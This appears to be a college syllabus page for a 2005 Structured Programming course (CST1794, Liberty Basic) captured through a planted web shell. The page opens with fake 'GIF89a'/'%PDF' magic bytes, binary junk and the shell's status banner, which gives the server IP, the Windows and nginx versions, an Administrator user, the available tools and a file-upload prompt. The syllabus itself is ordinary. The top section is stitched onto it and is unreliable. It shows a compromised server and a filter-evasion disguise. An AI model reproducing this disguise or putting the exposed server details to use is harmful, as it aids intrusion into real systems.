GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/_Archive/CST1794/Archive/ |
Upload File : |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>CST1794-Syllabus</title> <style type="text/css"> td { vertical-align:top; } td.number { text-align:right; } th { text-align:left; vertical-align:top; } li { vertical-align:top; } li.instruction { margin: 5px 0px 0px 0px; } </style> </head> <body bgcolor="LemonChiffon" text="Black" link="Blue" vlink="Blue" alink="Red"> <div align="center"> <table border="0" cellpadding="0" cellspacing="0" width="100%"> <tr><td align="left"><font size="-1"><b>CST1794-Syllabus </b></font></td><td align="right"><font size="-1"><b> 2005.01.12</b></font></td></tr> </table> <div> <h1>CST1794 <br> Structured Programming <br> Syllabus</h1> </div> <div> <!-- MetaLanguage3 ! --> <!-- Syllabus ! --> <div> <table><tr><td> <font color="Navy"><h3><b>Description: </b></h3></font> This course covers an introduction to computer programming. The reason for computer programming, computer language choices, the technical details of computer programming, input/output, variables, text processing, control statements, loops, data storage, programming interfaces, data structures, arrays, and algorithms are covered. Computer programmers, computer support technicians and network administrators are given the skills they need to program scripts and computer programs. This is done through the use of textbook study and hands-on structured lab work assigned by the instructor. <br> (Prerequisites: <a href="http://cst.ridgewater.edu/Courses/?Course=CST1001">CST1001</a>) (2 Credits) (1 Lecture, 1 Lab) </td></tr></table> <div> <table><tr><td> <font color="Navy"><h3><b>Content goal: </b></h3></font> This course focuses on structured programming in a hands-on lab setting. Material is presented in a structured lecture format with an emphasis on personalized learning through the use of a textbook, software, computers, lab work, and various evaluation methods. The course can optionally be presented in a personalized manner with the permission and guidance of the Instructor. </td></tr></table> <div> <table><tr><td> <font color="Navy"><h3><b>Objectives: </b></h3></font> <ol> <li> <a href="CST1794-InitialPaper.htm"><font color="Green">Describe yourself, your goals, and how you will use what you learn from this course</font></a>. <li> <a href="CST1794-InitialPaper.htm"><font color="Green">Describe your expected course outcomes and why you took this course</font></a>. <br> <br> <li> <a href="Module-BeginningProgramming-01.htm"><font color="Green">Use the <i>Beginning Programming for Dummies</i> text</font></a>. <li> <a href="Module-BeginningProgramming-01.htm"><font color="Green">Describe why you program (1)</font></a>. <li> <a href="Module-BeginningProgramming-01.htm"><font color="Green">Describe how a program works (1)</font></a>. <li> <a href="Module-BeginningProgramming-01.htm"><font color="Green">Describe what is needed to program (1)</font></a>. <li> <a href="Module-BeginningProgramming-01.htm"><font color="Green">Describe programming language differences (2)</font></a>. <li> <a href="Module-BeginningProgramming-01.htm"><font color="Green">Describe how to select a programming language (2)</font></a>. <li> <a href="Module-BeginningProgramming-01.htm"><font color="Green">Describe how to prepare to write a program (3)</font></a>. <li> <a href="Module-BeginningProgramming-01.htm"><font color="Green">Describe how to write a program (3)</font></a>. <li> <a href="Module-BeginningProgramming-01.htm"><font color="Green">Describe the life cycle of a program (3)</font></a>. <li> <a href="Module-BeginningProgramming-01.htm"><font color="Green">Describe an editor (4)</font></a>. <li> <a href="Module-BeginningProgramming-01.htm"><font color="Green">Describe compilers and interpreters (4)</font></a>. <li> <a href="Module-BeginningProgramming-01.htm"><font color="Green">Describe the debugger (4)</font></a>. <br> <br> <li> <a href="Module-BeginningProgramming-02.htm"><font color="Green">Describe why to use Liberty Basic (5)</font></a>. <li> <a href="Module-BeginningProgramming-02.htm"><font color="Green">Install Liberty Basic (5)</font></a>. <li> <a href="Module-BeginningProgramming-02.htm"><font color="Green">Run a program (5)</font></a>. <li> <a href="Module-BeginningProgramming-02.htm"><font color="Green">Describe the Liberty Basic help system (5)</font></a>. <li> <a href="Module-BeginningProgramming-02.htm"><font color="Green">Demonstrate Output (6)</font></a>. <li> <a href="Module-BeginningProgramming-02.htm"><font color="Green">Demonstrate Input (6)</font></a>. <li> <a href="Module-BeginningProgramming-02.htm"><font color="Green">Describe variables, constants, and comments (7)</font></a>. <li> <a href="Module-BeginningProgramming-02.htm"><font color="Green">Add, subtract, multiply, and divide (8)</font></a>. <li> <a href="Module-BeginningProgramming-02.htm"><font color="Green">Use Liberty Basic math functions (8)</font></a>. <li> <a href="Module-BeginningProgramming-02.htm"><font color="Green">Manipulate strings (8)</font></a>. <li> <a href="Module-BeginningProgramming-02.htm"><font color="Green">Describe boolean expressions (9)</font></a>. <li> <a href="Module-BeginningProgramming-02.htm"><font color="Green">Describe and use IF...THEN statements (9)</font></a>. <li> <a href="Module-BeginningProgramming-02.htm"><font color="Green">Describe and use SELECT CASE statements (9)</font></a>. <li> <a href="Module-BeginningProgramming-02.htm"><font color="Green">Describe and use WHILE...WEND statements (10)</font></a>. <li> <a href="Module-BeginningProgramming-02.htm"><font color="Green">Describe and use FOR...NEXT statements (10)</font></a>. <br> <br> <li> <a href="Module-BeginningProgramming-03.htm"><font color="Green">Describe and use Structured Programming techniques (11)</font></a>. <li> <a href="Module-BeginningProgramming-03.htm"><font color="Green">Describe Subroutines (11)</font></a>. <li> <a href="Module-BeginningProgramming-03.htm"><font color="Green">Describe Functions (11)</font></a>. <li> <a href="Module-BeginningProgramming-03.htm"><font color="Green">Describe and use Modular Programming techniques (11)</font></a>. <li> <a href="Module-BeginningProgramming-03.htm"><font color="Green">Describe syntax, run-time, and logic errors (15)</font></a>. <li> <a href="Module-BeginningProgramming-03.htm"><font color="Green">Use debugging techniques (15)</font></a>. <br> <br> <li> <a href="Module-BeginningProgramming-04.htm"><font color="Green">Use graphics and sound (12)</font></a>. <br> <br> <li> <a href="Module-BeginningProgramming-05.htm"><font color="Green">Describe sequential, random-access, and binary files (13)</font></a>. <li> <a href="Module-BeginningProgramming-05.htm"><font color="Green">Describe and use files for data retrieval and storage (13)</font></a>. <li> <a href="Module-BeginningProgramming-06.htm"><font color="Green">Make and use arrays (16)</font></a>. <li> <a href="Module-BeginningProgramming-06.htm"><font color="Green">Make and use multidimensional arrays (16)</font></a>. <li> <a href="Module-BeginningProgramming-06.htm"><font color="Green">Make and use dynamic arrays (16)</font></a>. <br> <br> <li> <a href="Module-BeginningProgramming-00.htm"><font color="Green">Describe and use data records (17)</font></a>. <li> <a href="Module-BeginningProgramming-00.htm"><font color="Green">Describe and use linked lists and pointers (18)</font></a>. <li> <a href="Module-BeginningProgramming-00.htm"><font color="Green">Describe object-oriented programming (18)</font></a>. <br> <br> <li> <a href="Module-BeginningProgramming-00.htm"><font color="Green">Describe and use sort algorithims (20)</font></a>. <li> <a href="Module-BeginningProgramming-00.htm"><font color="Green">Describe and use search algorithims (21)</font></a>. <li> <a href="Module-BeginningProgramming-00.htm"><font color="Green">Describe code optimization (22)</font></a>. <br> <br> <li> <a href="Module-BeginningProgramming-00.htm"><font color="Green">Design and use windows (14)</font></a>. <li> <a href="Module-BeginningProgramming-00.htm"><font color="Green">Describe program debugging (15)</font></a>. <br> <br> <li> <a href="Module-BeginningProgramming-00.htm"><font color="Green">Parse data (data mining)</font></a>. </ol> </td></tr></table> <div> <table><tr><td> <font color="Navy"><h3><b>References and Resources: </b></h3></font> <ol> <li> <table border="0" cellspacing="0" cellpadding="0"><tr valign="bottom"><td><table border="0" frame="void" cellpading="0" cellspacing="0"> <tr valign="bottom"> <td> <i>Beginning Programming for Dummies</i><br> Edition: 3rd<br> Wallace Wang<br> Wiley Publishing, Inc. ©2004<br> ISBN: 0-7645-4997-9<br> </td> </tr> </table> </td><td>(Student supplied textbook)</td></tr></table> <li> <a href="http://cst.ridgewater.edu/Courses/CST1794/dn/LibertyBasic/lb401win.exe">Liberty Basic v4.01</a> Software (May be copied from the network and installed on leased laptop or student supplied computer) <li> Computer system with OS (Leased laptop or Student supplied equipment) <li> Course <a href="CST1794-InstructionalGuide.htm">Instructional Guide</a> (On-line) <li> <a href="Examples.htm">Example Programs</a> (On-line) </ol> </td></tr></table> <div> <table><tr><td> <font color="Navy"><h3><b>Requirements: </b></h3></font> An average student will spend 96 hours performing course tasks: 48 lab hours working on assigned tasks in the lab, and 48 hours out-of-class. Factual information is provided through informal presentation or in a personalized format. The student is expected to contact the instructor if difficulty is encountered or help is needed. Attendance is critical for completion of the lab credits. </td></tr></table> <div> <table><tr><td> <font color="Navy"><h3><b>Grading: </b></h3></font> Student objectives and evaluations are translated to a percentage and the percentages to grades. A score of 70% is passing. The following percentage distribution guarantees the following grade: A:93%+, A-:90%+, B+:87%+, B:83%+, B-:80%+, C+:77%+, C:73%+, C-:70%+, F:<70%. If the course is not completed by the end of the instructional session (usually a semester) the grade will be an NC (No Credit). </td></tr></table> <div> <table><tr><td> <font color="Navy"><h3><b>Schedule: </b></h3></font> The course is designed to be completed in 2 weeks of personalized education or 16 weeks of class lecture and labs. </td></tr></table> <br> <br> <div align="center"> <div> <table border=1><tr><td> If you have a disability and wish to request accommodations or a different instructional<br> format such as large print, Braille, or audio tape, call V/TTY 587-3636 Extension 239.<br> Please allow a minimum of six weeks for the college to respond.<br> </td></tr></table></div> <div> Return to the <a href="CST1794-InstructionalGuide.htm">Instructional Guide</a>. <div> <table><tr valign="top"><td> <font color="Navy"><h3><b>Version Information: </b></h3></font> <table> <tr><td>2005.02.02</td><td>Syllabus updated.</td><td>jfm</td></tr> <tr><td>2003.08.27</td><td>New on-line Syllabus created.</td><td>jfm</td></tr> </table> </td></tr></table> <br> <br> <br> <br> <div align="center"> <div> Author: <a href="../../Instructors/?Author=jfm">Jim Martinson</a> <div> <table border="0" cellpadding="0" cellspacing="0" width="100%"> <tr><td align="left"><font size="-1"><b>CST1794-Syllabus </b></font></td><td align="right"><font size="-1"><b> 2005.01.12</b></font></td></tr> </table> </div> </body> </html>